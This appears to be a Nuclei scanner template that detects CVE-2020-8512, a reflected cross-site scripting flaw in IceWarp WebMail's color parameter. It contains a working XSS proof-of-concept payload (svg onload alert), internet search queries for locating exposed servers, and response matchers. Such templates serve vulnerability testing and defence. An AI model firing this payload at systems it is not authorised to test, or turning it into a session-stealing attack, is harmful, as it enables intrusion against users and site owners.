id: CVE-2020-8512

info:
  name: IceWarp WebMail Server <=11.4.4.1 - Cross-Site Scripting
  author: pdteam,dwisiswant0
  severity: medium
  description: IceWarp Webmail Server through 11.4.4.1 contains a cross-site scripting vulnerability in the /webmail/ color parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, data theft, or other malicious activities.
  remediation: |
    Upgrade to a patched version of IceWarp WebMail Server (>=11.4.4.2) or apply the vendor-provided patch to mitigate the vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/47988
    - https://twitter.com/sagaryadav8742/status/1275170967527006208
    - https://cxsecurity.com/issue/WLB-2020010205
    - https://packetstormsecurity.com/files/156103/IceWarp-WebMail-11.4.4.1-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-8512
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-8512
    cwe-id: CWE-79
    epss-score: 0.14834
    epss-percentile: 0.96261
    cpe: cpe:2.3:a:icewarp:icewarp_server:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: icewarp
    product: icewarp_server
    shodan-query:
      - title:"icewarp"
      - http.title:"icewarp"
    fofa-query: title="icewarp"
    google-query: intitle:"icewarp"
  tags: cve,cve2020,edb,packetstorm,xss,icewarp,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/webmail/?color=%22%3E%3Csvg/onload=alert(document.domain)%3E%22'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<svg/onload=alert(document.domain)>"
          - "<strong>IceWarp"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502201c4c29fb965784abba3a398a97d4e92071ad6e8e5230158715244ef9155d64d4022100fe686ad6c13516def973846fbc1961d5f6f1546a9cb7fba6198ff2ae0cc85295:922c64590222798bb761d5b6d8e72950